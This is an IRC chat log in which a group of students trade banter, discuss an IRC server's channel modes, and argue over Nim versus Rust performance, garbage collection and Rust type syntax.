[2015-01-25T13:20:36-0500] <jwoglom> JacobEdelman: genius!
[2015-01-25T13:20:49-0500] <jwoglom> Tamini_: wonderful
[2015-01-25T13:21:06-0500] <JacobEdelman> jwoglom: jacobs theorem part 23: the angle bisector of a isoscleles triangle is also the....
[2015-01-25T13:21:21-0500] <JacobEdelman> Tamini_: I heard!
[2015-01-25T13:21:26-0500] <JacobEdelman> Tamini_: can Ize see it?
[2015-01-25T13:21:39-0500] <Tamini_> umm
[2015-01-25T13:21:45-0500] <Tamini_> when its written, yeah
[2015-01-25T13:21:53-0500] <Tamini_> its supposed to be like olympiad prep
[2015-01-25T13:21:56-0500] <Tamini_> should be fun
[2015-01-25T13:21:58-0500] <JacobEdelman> gtg
[2015-01-25T13:22:26-0500] <Tamini_> jwoglom: forbes is great man
[2015-01-25T13:22:43-0500] <jwoglom> Tamini_: he's my teacher, yo
[2015-01-25T13:22:49-0500] <jwoglom> Just I wanna do well
[2015-01-25T13:23:03-0500] <Tamini_> ohhh you have forbes
[2015-01-25T13:23:09-0500] <Tamini_> i love him hes so awesome
[2015-01-25T13:23:22-0500] <jwoglom> He seems like a pretty cool guy
[2015-01-25T13:26:30-0500] <LittleBobbyTables> I am, thanks
[2015-01-25T13:32:31-0500] <ubuntor> hmm, i don't remember how i got nvidia to work
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[2015-01-25T14:23:32-0500] <+JacobEdelman> I have rearrived
[2015-01-25T14:24:28-0500] <+Tamini> eyo jacob
[2015-01-25T14:24:34-0500] <+Tamini> D:
[2015-01-25T14:24:38-0500] <+Tamini> eyo only works for jaymo
[2015-01-25T14:24:42-0500] <+Tamini> because it almost rhymes
[2015-01-25T14:24:44-0500] <@awe> eyyo
[2015-01-25T14:28:15-0500] <ubuntor> ayy
[2015-01-25T14:33:42-0500] <alokpathy> Ayoo
[2015-01-25T14:34:43-0500] <@awe> ayylmao
[2015-01-25T14:35:11-0500] <ubuntor> awe: how are channel modes handled by the server?
[2015-01-25T14:35:26-0500] <+Tamini> awe: is ayy/lmao going to be the new syn/ack
[2015-01-25T14:35:27-0500] <@awe> What do you mean?
[2015-01-25T14:36:05-0500] <+Tamini> oh
[2015-01-25T14:36:12-0500] <+Tamini> not as much here
[2015-01-25T14:36:16-0500] <+Tamini> but whenever someone says ayy
[2015-01-25T14:36:21-0500] <+Tamini> someone else responds lmao
[2015-01-25T14:36:26-0500] <@awe> Hah.
[2015-01-25T14:36:29-0500] <@awe> I meant
[2015-01-25T14:36:32-0500] <@awe> what do you mean to ubuntor 
[2015-01-25T14:36:41-0500] <+Tamini> oh
[2015-01-25T14:36:47-0500] <jwoglom> Tamini: lol that's what zeal/fox/sam and I do
[2015-01-25T14:37:22-0500] <+JacobEdelman> nim is fast!
[2015-01-25T14:37:36-0500] <+Tamini> jwoglom: yeah, mainly i was referring to that
[2015-01-25T14:37:39-0500] <ubuntor> awe: like https://www.alien.net.au/irc/chanmodes.html
[2015-01-25T14:38:17-0500] <@awe> So, which modes are supported?
[2015-01-25T14:38:29-0500] <ubuntor> haven't tested
[2015-01-25T14:38:38-0500] <@awe> Is that what you're asking?
[2015-01-25T14:38:40-0500] <ubuntor> but +s isn't supported, even though this channel has it set
[2015-01-25T14:38:45-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/3J6TkdLH
[2015-01-25T14:38:57-0500] <+JacobEdelman> my neural network works!
[2015-01-25T14:39:02-0500] <+JacobEdelman> it can learn xor!
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[2015-01-25T14:39:04-0500] awe is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-25T14:39:04-0500] awe is a NetAdmin on PdgnCo
[2015-01-25T14:39:04-0500] awe is using modes +or
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[2015-01-25T14:39:16-0500] <@awe> ubuntor: Look up stuff about InspIRCd.
[2015-01-25T14:39:23-0500] <+Tamini> ooh, yay
[2015-01-25T14:39:34-0500] <ubuntor> oh, is that what runs the server?
[2015-01-25T14:39:53-0500] <@awe> Yes.
[2015-01-25T14:39:58-0500] <@awe> I've said that a few times, I think.
[2015-01-25T14:40:00-0500] <@awe> JacobEdelman: fancy.
[2015-01-25T14:40:25-0500] <ubuntor> huh, for some reason i thought it was run on rust
[2015-01-25T14:40:34-0500] <ubuntor> nvm then
[2015-01-25T14:40:38-0500] <@awe> I might write one some day, but I haven't worked on the server-side stuff.
[2015-01-25T14:40:43-0500] <+JacobEdelman> ubuntor: pidgey, which manager nicks and stuff, is run on rust
[2015-01-25T14:40:50-0500] <+JacobEdelman> *manages
[2015-01-25T14:40:55-0500] <@awe> Yeah.
[2015-01-25T14:40:56-0500] <+JacobEdelman> ubuntor: I was confused about that too
[2015-01-25T14:41:14-0500] <@awe> If I add a Rust server, it'll probably run as a server connected to this one.
[2015-01-25T14:41:21-0500] <@awe> At least until it's stable.
[2015-01-25T14:41:21-0500] <+JacobEdelman> awe: my code ran 3x faster when compiled with the nim --opt=speed option, which impressed me a lot
[2015-01-25T14:41:28-0500] <@awe> Wow. Optimizations work?
[2015-01-25T14:41:32-0500] <@awe> Who would've thought!
[2015-01-25T14:41:51-0500] <+JacobEdelman> awe: i didn't expect them to be that fast
[2015-01-25T14:41:59-0500] <@awe> My code runs much faster with -O3 and no debugging symbols, too.
[2015-01-25T14:42:38-0500] <ubuntor> ooh, is that back propagation?
[2015-01-25T14:42:58-0500] <@awe> ?
[2015-01-25T14:46:14-0500] <+JacobEdelman> ubuntor: yup!
[2015-01-25T14:46:26-0500] <@awe> Oh, he was talking about your code.
[2015-01-25T14:46:34-0500] <ubuntor> can someone run /LIST and see if #test shows up?
[2015-01-25T14:46:35-0500] <@awe> That makes more sense.
[2015-01-25T14:46:48-0500] <@awe> It does for me, but I'm an op.
[2015-01-25T14:47:03-0500] <+JacobEdelman> awe: it runs 4x faster if I turn off gc! at the cost of 1.2 gb of ram in a large case...
[2015-01-25T14:47:05-0500] <+Tamini> wait, awe
[2015-01-25T14:47:10-0500] <@awe> JacobEdelman: Exactly.
[2015-01-25T14:47:12-0500] <+Tamini> i thought we already knew +s worked
[2015-01-25T14:47:17-0500] <@awe> It should.
[2015-01-25T14:47:31-0500] <+JacobEdelman> awe: still, thats not a huge amount
[2015-01-25T14:47:34-0500] <@awe> 4x faster?
[2015-01-25T14:47:40-0500] <@awe> That's very substantial.
[2015-01-25T14:47:41-0500] <+JacobEdelman> awe: 4x faste rthan normal
[2015-01-25T14:47:52-0500] <+JacobEdelman> awe: --opt=speed alone gives 3x faster than normal
[2015-01-25T14:48:00-0500] <@awe> But every language can run those optimizations.
[2015-01-25T14:48:06-0500] <+JacobEdelman> (4x is with both speed and no-gc
[2015-01-25T14:48:07-0500] <+JacobEdelman> )
[2015-01-25T14:48:39-0500] <@awe> How much faster is it with just no-gc?
[2015-01-25T14:49:02-0500] <@awe> Also remember that your use-case may not be very GC heavy.
[2015-01-25T14:49:54-0500] <+JacobEdelman> awe: it is, I think
[2015-01-25T14:50:06-0500] <+JacobEdelman> awe: cause I'm doing object oreinted stuff badly
[2015-01-25T14:50:15-0500] <+JacobEdelman> awe: lemme try with just no-gc
[2015-01-25T14:50:31-0500] <@awe> Or just say how much faster no-gc is with opts relative to just opts.
[2015-01-25T14:51:10-0500] <+JacobEdelman> 2x faster than normal with just no-gc
[2015-01-25T14:51:23-0500] <+JacobEdelman> and it uses ~1.8 gigs of ram
[2015-01-25T14:51:30-0500] <+JacobEdelman> (note, all these numbers are estimates0
[2015-01-25T14:51:31-0500] <+JacobEdelman> )
[2015-01-25T14:51:49-0500] <@awe> Okay, now imagine using a language where there isn't a GC but memory is fine.
[2015-01-25T14:55:18-0500] <+JacobEdelman> 5x or so if i turn off debugger, no gc, and optimized for speed
[2015-01-25T14:55:50-0500] <+JacobEdelman> awe: i've heard its tought to deal with mem in rust
[2015-01-25T14:55:58-0500] <+JacobEdelman> not as hard as langs where its manual
[2015-01-25T14:56:01-0500] <+JacobEdelman> but still hard
[2015-01-25T14:56:05-0500] <@awe> Define hard.
[2015-01-25T14:56:10-0500] <+JacobEdelman> https://arthurtw.github.io/2015/01/12/quick-comparison-nim-vs-rust.html
[2015-01-25T14:56:12-0500] <@awe> It literally will not compile.
[2015-01-25T14:56:33-0500] <+JacobEdelman> "Rust provides limited GC support, but more often than not, you’ll rely on Rust’s ownership system for memory management. The abstraction is so thin that you are basically managing the memory on your own. As a Rust programmer, you need to fully comprehend its memory management model (ownership, borrow and lifetimes) before you can code in Rust
[2015-01-25T14:56:33-0500] <+JacobEdelman> effectively, which is often the first barrier inflicting Rust newcomers."
[2015-01-25T14:57:23-0500] <+JacobEdelman> awe: the rust file won't compile? it may be old, he says "If you build the project by yourself, you may want to uncomment line 2 of main.rs to disable the superflous warnings resulting from the “unstable” state of Rust 1.0 alpha libraries."
[2015-01-25T14:57:42-0500] <@awe> Rust doesn't have a GC anymore.
[2015-01-25T14:57:44-0500] <@awe> Don't listen to this shit.
[2015-01-25T14:58:11-0500] <@awe> Yes, you need to understand borrowing and lifetimes to write good code. It's not that hard.
[2015-01-25T14:58:17-0500] <@awe> But again: it won't compile otherwise.
[2015-01-25T14:58:25-0500] <+JacobEdelman> its harder than what you need for nim!
[2015-01-25T14:58:28-0500] <@awe> It's not that hard to figure out what you're doing wrong when it won't compile and tells you what's wrong.
[2015-01-25T14:58:32-0500] <+JacobEdelman> no memory worries in nim!
[2015-01-25T14:58:50-0500] <@awe> And like any GC language, the moment you care about memory, you're screwed.
[2015-01-25T14:59:04-0500] <+JacobEdelman> ubuntor: what do you know about neural networks?
[2015-01-25T14:59:19-0500] <@awe> Because the only options you have then are GC tuning and trying to cut down on object creation and destruction.
[2015-01-25T14:59:35-0500] <ubuntor> unfortunately not much beyond the standard linear perceptron networks + backprop
[2015-01-25T14:59:40-0500] <+JacobEdelman> awe: i've never run in to that problem, but I'll tell you if I do
[2015-01-25T14:59:48-0500] <+JacobEdelman> ubuntor: so no rnn?
[2015-01-25T14:59:49-0500] <@awe> You probably won't because you don't do anything.
[2015-01-25T14:59:55-0500] <ubuntor> i've been planning to learn more about more modern types, but never got around to it :/
[2015-01-25T15:00:01-0500] <@awe> You've never written anything even remotely performance sensitive.
[2015-01-25T15:00:27-0500] <ubuntor> JacobEdelman: heard about them tho
[2015-01-25T15:00:33-0500] <+JacobEdelman> ubuntor: learn about recurrent neural networks and than lstm
[2015-01-25T15:00:40-0500] <+JacobEdelman> I'm gonna add both to my nim program
[2015-01-25T15:00:53-0500] <ubuntor> alright
[2015-01-25T15:01:02-0500] <+JacobEdelman> awe: vear.ch
[2015-01-25T15:01:17-0500] <+JacobEdelman> awe: a factor of 2 or so there would have hurt us badly
[2015-01-25T15:01:20-0500] <@awe> We didn't write the performance sensitive code there.
[2015-01-25T15:01:22-0500] <@awe> >.>
[2015-01-25T15:01:32-0500] <@awe> So, no, that doesn't count.
[2015-01-25T15:01:48-0500] <@awe> But for example, I wrote a library for a binary data format that I designed with a friend.
[2015-01-25T15:01:52-0500] <@awe> He wrote one in C++ and later one in Rust.
[2015-01-25T15:01:56-0500] <@awe> I wrote one in Java.
[2015-01-25T15:01:59-0500] <+JacobEdelman> awe: i had to do performance sentiviy things like making sure we didn't use too many pics and stuff... but yeah
[2015-01-25T15:02:01-0500] <@awe> Someone else wrote one naively in C++ and also in C#.
[2015-01-25T15:02:09-0500] <@awe> JacobEdelman: that's not performance sensitive code though.
[2015-01-25T15:02:14-0500] <+JacobEdelman> awe: I know
[2015-01-25T15:02:16-0500] <@awe> JacobEdelman: that's not what I'm talking about.
[2015-01-25T15:02:20-0500] <@awe> Anyway, the point is
[2015-01-25T15:02:22-0500] <+JacobEdelman> awe, anyway, people say nim is fast
[2015-01-25T15:02:29-0500] <@awe> My Java one was faster than the naive C++ one and the C# one.
[2015-01-25T15:02:42-0500] <@awe> But it was completely incomparable to the C++ and Rust ones.
[2015-01-25T15:03:07-0500] <@awe> It was like 100x slower.
[2015-01-25T15:03:23-0500] <+JacobEdelman> awe: algo
[2015-01-25T15:03:28-0500] <@awe> It's not the algorithm.
[2015-01-25T15:03:34-0500] <@awe> It's capabilities.
[2015-01-25T15:03:52-0500] <@awe> I had to load everything into memory and create objects for it while Rust and C++ could map structs directly over the data on disk.
[2015-01-25T15:04:16-0500] <@awe> Loading a file was almost instant in Rust and good C++.
[2015-01-25T15:04:58-0500] <+JacobEdelman> ah, so java lacked a feature
[2015-01-25T15:05:01-0500] <+JacobEdelman> nothing fundemental
[2015-01-25T15:05:02-0500] <@awe> So does Nim.
[2015-01-25T15:05:04-0500] <@awe> It's fundamental.
[2015-01-25T15:05:07-0500] <+JacobEdelman> no, its not
[2015-01-25T15:05:09-0500] <@awe> A GC language can never do that.
[2015-01-25T15:05:13-0500] <@awe> It wouldn't make sense.
[2015-01-25T15:05:17-0500] <@awe> It wouldn't work.
[2015-01-25T15:05:38-0500] <@awe> It's not Java lacking a feature, it's that a garbage collector prevents you from doing this altogether.
[2015-01-25T15:06:12-0500] <+JacobEdelman> Java is known for having a really bad gc
[2015-01-25T15:06:17-0500] <@awe> You're an idiot.
[2015-01-25T15:06:17-0500] <+JacobEdelman> not every lang is like that
[2015-01-25T15:06:33-0500] <@awe> Considering GC languages, Java has one of the best GCs.
[2015-01-25T15:06:49-0500] <@awe> It's the most well-established, and has seen some serious engineering efforts.
[2015-01-25T15:07:19-0500] <+JacobEdelman> #nim on freenode disagrees
[2015-01-25T15:07:30-0500] <@awe> Because they're really proud of their GC.
[2015-01-25T15:07:41-0500] <+JacobEdelman> no, they just say javas is bad
[2015-01-25T15:07:46-0500] <+JacobEdelman> they don't say there own is good
[2015-01-25T15:07:51-0500] <@awe> It's implied.
[2015-01-25T15:08:03-0500] <@awe> Anyway, bad is relative.
[2015-01-25T15:08:12-0500] <@awe> Java's GC is far superior to Ruby for example.
[2015-01-25T15:08:23-0500] <+JacobEdelman> awe: nim has malloc
[2015-01-25T15:08:24-0500] <+JacobEdelman> there
[2015-01-25T15:08:30-0500] <@awe> .-.
[2015-01-25T15:08:32-0500] <+JacobEdelman> now if you want to write memory sensitive stuff
[2015-01-25T15:08:34-0500] <+JacobEdelman> just use it
[2015-01-25T15:08:55-0500] <+JacobEdelman> awe: i have very little idea what that means by the way
[2015-01-25T15:09:07-0500] <@awe> It means you can allocate memory.
[2015-01-25T15:09:21-0500] <@awe> Yeah, there's a way in Nim to have unsafe, untraced memory management.
[2015-01-25T15:09:24-0500] <nezorg> I think we should settle our differences
[2015-01-25T15:09:27-0500] <@awe> But then we get into the same reaosn I don't like C++.
[2015-01-25T15:09:28-0500] <nezorg> and all just use elisp
[2015-01-25T15:09:43-0500] <@awe> The whole point is to have no GC and also memory safety.
[2015-01-25T15:09:57-0500] <+JacobEdelman> awe: and go through all the trouble>
[2015-01-25T15:09:59-0500] <+JacobEdelman> *?
[2015-01-25T15:10:09-0500] <+JacobEdelman> nezorg: nah, hy is the way to go!
[2015-01-25T15:10:14-0500] <@awe> It's seriously not bad at all.
[2015-01-25T15:10:35-0500] <+JacobEdelman> awe: it confused me for more then 3 seconds, ergo ordinary mortals could never hope to comprehend it
[2015-01-25T15:10:36-0500] <+JacobEdelman> :P
[2015-01-25T15:10:50-0500] <@awe> And yet there's plenty of people writing Rust.
[2015-01-25T15:10:56-0500] <+Tamini> lol
[2015-01-25T15:11:02-0500] <+Tamini> jacob, you grosly overestimate your ability
[2015-01-25T15:11:53-0500] <@awe> Your argument has now boiled down to "I'm incapable of attempting to understanding Rust, and therefore you should use Nim instead."
[2015-01-25T15:12:00-0500] <+JacobEdelman> Tamini: nah, I mean, if I can't do something than everybody else is hopeless
[2015-01-25T15:12:11-0500] • JacobEdelman: tries to tie his shoes again, but in vain
[2015-01-25T15:13:24-0500] <@awe> Nim is fine and everything, but you're not going to convince me to use it.
[2015-01-25T15:13:47-0500] <@awe> I have no problems with Rust that are addressed by Nim.
[2015-01-25T15:14:45-0500] <@awe> But if you want a practical reason for why you should use Rust instead of Nim, you know several people who do Rust. You know nobody who does Nim.
[2015-01-25T15:15:40-0500] <+JacobEdelman> awe: thats a reason to do nim!
[2015-01-25T15:15:44-0500] <+JacobEdelman> awe: I like being different
[2015-01-25T15:15:46-0500] <@awe> ...
[2015-01-25T15:15:48-0500] <+JacobEdelman> :P
[2015-01-25T15:16:14-0500] <@awe> Knowing Rust allows you to work with me on projects and perhaps nezorg
[2015-01-25T15:16:15-0500] <+JacobEdelman> awe: remember, normal logic and arguments break down in the face of jacobification
[2015-01-25T15:16:31-0500] <@awe> Knowing Nim allows you to masturbate in a corner by yourself.
[2015-01-25T15:16:42-0500] <+JacobEdelman> awe: so far I'm not too interested in your projects (although yeah, I could see why its tempting to learn rust cause of that)
[2015-01-25T15:17:00-0500] <+JacobEdelman> awe: I'll convince Ben to learn nim eventually
[2015-01-25T15:17:05-0500] <+JacobEdelman> awe: and other people
[2015-01-25T15:17:18-0500] <@awe> Because getting everyone here to use Rust has been so successful.
[2015-01-25T15:17:22-0500] <@awe> Obviously, Nim will work just as well.
[2015-01-25T15:17:27-0500] <+JacobEdelman> Tamini: you should learn nim! its as easy to code as python but can compile to c or c++ and is fast, so you can use if for usaco!
[2015-01-25T15:17:50-0500] <+Tamini> um
[2015-01-25T15:17:54-0500] <+JacobEdelman> Tamini: its optimizer will make it faster than c you could code yourself, but it would look like python when you made it!
[2015-01-25T15:17:55-0500] <+Tamini> you cant submit nim for usaco man
[2015-01-25T15:17:56-0500] <+Tamini> sorry
[2015-01-25T15:18:04-0500] <+JacobEdelman> Tamini: you can submit the c it compiles to
[2015-01-25T15:18:05-0500] <@awe> He's saying transpile it to C.
[2015-01-25T15:18:11-0500] <+Tamini> oh, transpile it to c
[2015-01-25T15:18:14-0500] <+JacobEdelman> awe: it does the automatically, thats how it works
[2015-01-25T15:18:21-0500] <+Tamini> ehh
[2015-01-25T15:18:22-0500] <@awe> Yes, I know how native codegen works.
[2015-01-25T15:18:27-0500] <ubuntor> ...
[2015-01-25T15:19:07-0500] <@awe> Nim doesn't even have pattern matching.
[2015-01-25T15:19:20-0500] <+Tamini> lol
[2015-01-25T15:19:24-0500] <+Tamini> jacob: yknow what
[2015-01-25T15:19:24-0500] <@awe> At least, not according to the thing JacobEdelman linked.
[2015-01-25T15:19:33-0500] <+Tamini> do your next usaco using only nim
[2015-01-25T15:19:36-0500] <+Tamini> and tell me how that goes
[2015-01-25T15:19:36-0500] <+Tamini> :P
[2015-01-25T15:19:44-0500] <+Tamini> convince me with actual numbers, man
[2015-01-25T15:20:36-0500] <+JacobEdelman> Tamini: okay, thats my plan
[2015-01-25T15:20:49-0500] <+JacobEdelman> awe: I don't think it does
[2015-01-25T15:21:03-0500] <@awe> Nim's syntax is so gross.
[2015-01-25T15:21:15-0500] <@awe> I don't love Rust's syntax, but Nim is so much worse.
[2015-01-25T15:22:02-0500] <nezorg> <awe> Knowing Rust allows you to work with me on projects and perhaps nezorg
[2015-01-25T15:22:07-0500] <nezorg> but why would you want to work with me
[2015-01-25T15:22:13-0500] <+Tamini> because you are literally god
[2015-01-25T15:22:16-0500] <@awe> Because you're at least 3-5x cooler than JacobEdelman.
[2015-01-25T15:22:19-0500] <@awe> Trust me, I did the benchmarks.
[2015-01-25T15:22:27-0500] <+Tamini> hehe
[2015-01-25T15:22:31-0500] <+JacobEdelman> :(
[2015-01-25T15:22:37-0500] <+Tamini> i wanna see exact numbers
[2015-01-25T15:22:41-0500] <@awe> And with dramatically reduced stress usage.
[2015-01-25T15:22:55-0500] <+JacobEdelman> awe: this looks like matching http://nim-lang.org/irc.html
[2015-01-25T15:23:05-0500] <@awe> JacobEdelman: uses a constant 2-3 GB of stress.
[2015-01-25T15:23:15-0500] <+JacobEdelman> awe: thats without multiple tabs
[2015-01-25T15:23:26-0500] <+JacobEdelman> awe: I think I hit at least 6 due to tab usage
[2015-01-25T15:23:31-0500] <@awe> JacobEdelman: that's a switch statement on an enumeration.
[2015-01-25T15:23:40-0500] <@awe> JacobEdelman: pattern matching is far more generalized.
[2015-01-25T15:23:45-0500] <nezorg> awe: musta been microbenchmarks
[2015-01-25T15:23:46-0500] <+JacobEdelman> oh, yeah, I guess
[2015-01-25T15:23:59-0500] <@awe> nezorg: you think JacobEdelman is cooler than you?
[2015-01-25T15:24:04-0500] <+JacobEdelman> okay, awe, its over
[2015-01-25T15:24:07-0500] <nezorg> well it sounds like he gets stuff down
[2015-01-25T15:24:09-0500] <+JacobEdelman> I'm never using rust now
[2015-01-25T15:24:09-0500] <nezorg> *done
[2015-01-25T15:24:09-0500] <+JacobEdelman> http://nim-lang.org/future.html
[2015-01-25T15:24:29-0500] <@awe> What?
[2015-01-25T15:24:32-0500] <@awe> macros?
[2015-01-25T15:24:40-0500] <+JacobEdelman> no!
[2015-01-25T15:24:45-0500] <+JacobEdelman> functional programming!
[2015-01-25T15:24:50-0500] <@awe> Wat?
[2015-01-25T15:24:55-0500] <@awe> What the fuck are you talking about?
[2015-01-25T15:24:59-0500] <nezorg> one thing I don't like about nim that is the same thing I don't like about c++ is it seems to have too many features
[2015-01-25T15:25:14-0500] <nezorg> ...what happened to my grammar there
[2015-01-25T15:25:14-0500] <+JacobEdelman> http://nim-lang.org/future.html shows procs taking procs as input
[2015-01-25T15:25:20-0500] <@awe> You can do that in Rust?
[2015-01-25T15:25:25-0500] <@awe> As in: Right now.
[2015-01-25T15:25:26-0500] <+JacobEdelman> awe: i know
[2015-01-25T15:25:40-0500] <nezorg> ...wait, you *can't* do that in nim?
[2015-01-25T15:25:42-0500] <+JacobEdelman> awe: and thats the reason I was tempted by rust (that and coding with you and nezorg)
[2015-01-25T15:25:47-0500] <+JacobEdelman> but now its coming to nim
[2015-01-25T15:26:26-0500] <+JacobEdelman> nezorg: no, which annoyed me, but now that i look at this it looks like maybe you can and this is just macros to make it nicer... whatever the case you can , its just new
[2015-01-25T15:26:36-0500] <@awe> Rust also recently stabilized all the unboxed closure stuff, too.
[2015-01-25T15:26:39-0500] <@awe> So, it's super performant.
[2015-01-25T15:26:43-0500] <nezorg> JacobEdelman: does it have closures?
[2015-01-25T15:26:47-0500] <+JacobEdelman> no idea
[2015-01-25T15:26:49-0500] <@awe> nezorg: yeah, but they're not unboxed.
[2015-01-25T15:26:57-0500] <+JacobEdelman> gtg
[2015-01-25T15:27:28-0500] <@awe> nezorg: also, JacobEdelman gets stuff done in the sense that he writes a lot of 100-line experiments.
[2015-01-25T15:28:09-0500] <nezorg> sounds like me! :P
[2015-01-25T15:28:43-0500] <nezorg> the syntax for unboxed closures in rust sucks
[2015-01-25T15:28:53-0500] <@awe> Yeah, it does.
[2015-01-25T15:28:54-0500] <nezorg> although I understand why it's like that
[2015-01-25T15:30:07-0500] <@awe> The syntax is probably my only legitimate pain point with Rust.
[2015-01-25T15:30:17-0500] <@awe> I don't like that they had to cater to C++ developers.
[2015-01-25T15:30:54-0500] <@awe> Result<Option<Vec<u64>>> will never look good.
[2015-01-25T15:31:52-0500] <@awe> Or an actual example in the wild (aka code I wrote): Map<Vec<Rc<String>>, String, SizedChainIterator<'a, String>, fn(Vec<Rc<String>>) -> String>;
[2015-01-25T15:31:54-0500] <@awe> Dis shit is some bullshit.
[2015-01-25T15:32:01-0500] <@awe> Who can read that type?
[2015-01-25T15:32:22-0500] • nezorg: raises hand
[2015-01-25T15:32:26-0500] <@awe> Easily?
[2015-01-25T15:32:33-0500] <nezorg> sorta
[2015-01-25T15:32:39-0500] <nezorg> what would be better?
[2015-01-25T15:33:20-0500] <alokpathy> Ew
[2015-01-25T15:33:54-0500] <@awe> I'd honestly prefer spaces and parentheses.
[2015-01-25T15:34:04-0500] <nezorg> aka haskell syntax?
[2015-01-25T15:34:05-0500] <@awe> well, parentheses for ambiguities
[2015-01-25T15:34:05-0500] <@awe> Yeah.
[2015-01-25T15:34:44-0500] <nezorg> Map (Vec (Rc String)) String (SizedChainIterator 'a String) (fn(Vec (Rc String)) -> String)
[2015-01-25T15:34:48-0500] <@awe> Map (Vec Rc String) String (SizedChainIterator 'a String) (fn(Vec Rc String) -> String)
[2015-01-25T15:34:56-0500] <@awe> You don't need the extra parentheses around Rc String.
[2015-01-25T15:35:01-0500] <@awe> That can be resolved unambiguously.
[2015-01-25T15:35:08-0500] <nezorg> ...uh, how?
[2015-01-25T15:35:24-0500] <alokpathy> awe: Well, there's a language that is 100% spaces. I think you might like it :P
[2015-01-25T15:35:35-0500] <@awe> The type of Vec and Rc?
[2015-01-25T15:35:36-0500] <+Tamini> alokpathy: :D
[2015-01-25T15:35:56-0500] <nezorg> awe: well you'd have to know about the types to resolve it, which seems really bad to me
[2015-01-25T15:35:56-0500] <@awe> Maybe I'm wrong.
[2015-01-25T15:36:13-0500] <jwoglom> there should be a language where every operator is a curse word
[2015-01-25T15:36:17-0500] <jwoglom> assuming that doesn't exist already
[2015-01-25T15:36:20-0500] <@awe> Either way, I find it nicer than <<<<<>>>>> everywhere.
[2015-01-25T15:36:23-0500] <LittleBobbyTables> It probably does.
[2015-01-25T15:36:29-0500] <@awe> I find angle brackets hard to read.
[2015-01-25T15:36:47-0500] <@awe> I also find a lack of whitespace hard to read.
[2015-01-25T15:37:04-0500] <alokpathy> jwoglom: There should be one where every operator is a member of pdgn.
[2015-01-25T15:37:38-0500] <@awe> IoResult<Connection<BufferedReader<NetStream>, BufferedWriter<NetStream>>>
[2015-01-25T15:37:48-0500] <@awe> In practice, even this within actual code is hard for me to read.
[2015-01-25T15:38:12-0500] <nezorg> awe: liberal use of type aliases
[2015-01-25T15:38:20-0500] <@awe> From this line: pub type NetConnection = Connection<BufferedReader<NetStream>, BufferedWriter<NetStream>>;
[2015-01-25T15:38:22-0500] <@awe> ;)
[2015-01-25T15:38:24-0500] <@awe> I gotchu, nezorg.
[2015-01-25T15:38:27-0500] <nezorg> ah :P
[2015-01-25T15:38:43-0500] <nezorg> ...but there's no IoResult there
[2015-01-25T15:38:53-0500] <@awe> Because it's not always IoResult
[2015-01-25T15:39:00-0500] <@awe> So, some things return IoResult<NetConnection>
[2015-01-25T15:39:03-0500] <@awe> and some things return NetConnection.
[2015-01-25T15:39:15-0500] <@awe> Actually, that's not true.
[2015-01-25T15:39:16-0500] <nezorg> but then where would you see that IoResult<blah blah blah>
[2015-01-25T15:39:29-0500] <@awe> Well, before I type aliased NetConncetion?
[2015-01-25T15:39:31-0500] <@awe> Everywhere.
[2015-01-25T15:39:37-0500] <nezorg> ah
[2015-01-25T15:39:37-0500] <@awe>  pub fn connect(host: &str, port: u16) -> IoResult<NetConnection>
[2015-01-25T15:39:39-0500] <@awe> was previously
[2015-01-25T15:39:45-0500] <@awe>  pub fn connect(host: &str, port: u16) -> IoResult<Connection<BufferedReader<NetStream>, BufferedWriter<NetStream>>>
[2015-01-25T15:40:16-0500] <@awe> Line-wrapping exacerbates this problem significantly.
[2015-01-25T15:40:48-0500] <@awe> Anyway, the fact that this is likely my biggest issue with Rust should probably say a lot about how pleased I am with the language anyway.
[2015-01-25T15:41:03-0500] <nezorg> no higher-kinded types :/
[2015-01-25T15:41:07-0500] <@awe> Ah, well, yeah.
[2015-01-25T15:41:13-0500] <@awe> But that's going to happen.
[2015-01-25T15:41:19-0500] <@awe> So, I don't discount it for that.
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[2015-01-25T15:41:59-0500] <@awe> If they later announce that HKT will never happen, I'm going to be so pissed.
[2015-01-25T15:42:55-0500] <jwoglom> alokpathy: but then the language devolves into just having operators that can be anything :P
[2015-01-25T16:10:34-0500] <+JacobEdelman> I have rearrived
[2015-01-25T16:11:23-0500] <+JacobEdelman> jwoglom: you can make that kinda lang with lark, once I finish lark
[2015-01-25T16:11:46-0500] <@awe> >implying anyone wants to touch lark
[2015-01-25T16:31:52-0500] <+JacobEdelman> ewwwwwwwwwwwwwwwww
[2015-01-25T16:31:53-0500] <+JacobEdelman> :P
[2015-01-25T16:32:06-0500] <+JacobEdelman> http://cs.stanford.edu/people/karpathy/recurrentjs/
[2015-01-25T16:32:10-0500] <+JacobEdelman> read the description
[2015-01-25T16:32:19-0500] <+JacobEdelman> (past the "The demo is pref..."
[2015-01-25T16:34:05-0500] <@awe> Okay?
[2015-01-25T16:35:31-0500] <@awe> JacobEdelman: and?
[2015-01-25T16:35:39-0500] <+JacobEdelman> its funny
[2015-01-25T16:35:40-0500] <+JacobEdelman> and cool
[2015-01-25T16:35:47-0500] <+JacobEdelman> think about it this way
[2015-01-25T16:35:48-0500] <@awe> It produces 100% garbage outputs.
[2015-01-25T16:35:53-0500] <+JacobEdelman> give it time
[2015-01-25T16:35:57-0500] <+JacobEdelman> it takes a while to train these
[2015-01-25T16:36:02-0500] <+JacobEdelman> basicly
[2015-01-25T16:36:07-0500] <+JacobEdelman> its like your markov models
[2015-01-25T16:36:10-0500] <+JacobEdelman> except way better
[2015-01-25T16:36:17-0500] <@awe> It's way worse.
[2015-01-25T16:36:23-0500] <+JacobEdelman> this kinda stuff can be used to giving better compression then zip
[2015-01-25T16:36:26-0500] <+JacobEdelman> ...
[2015-01-25T16:36:28-0500] <@awe> I mean the technology is much better.
[2015-01-25T16:36:36-0500] <@awe> But the output is shit.
[2015-01-25T16:36:49-0500] <+JacobEdelman> gtg
[2015-01-25T16:39:08-0500] <+JacobEdelman> give it time to learn
[2015-01-25T16:39:10-0500] <+JacobEdelman> it will work
[2015-01-25T16:40:39-0500] <LittleBobbyTables> awe, can you read whitespace easily, then?
[2015-01-25T16:41:13-0500] <@awe> The language?
[2015-01-25T16:41:13-0500] <@awe> No.
[2015-01-25T16:41:22-0500] <@awe> Whitespace is useful a supplement.
[2015-01-25T16:41:27-0500] <@awe> It makes text easier to read.
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[2015-01-25T17:19:20-0500] <+JacobEdelman> https://medium.com/@hankgreen/holy-shit-i-interviewed-the-president-fa3e8fb44d16
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[2015-01-25T17:25:39-0500] <+JacobEdelman> Tamini: I suggest you recheck snow predictions
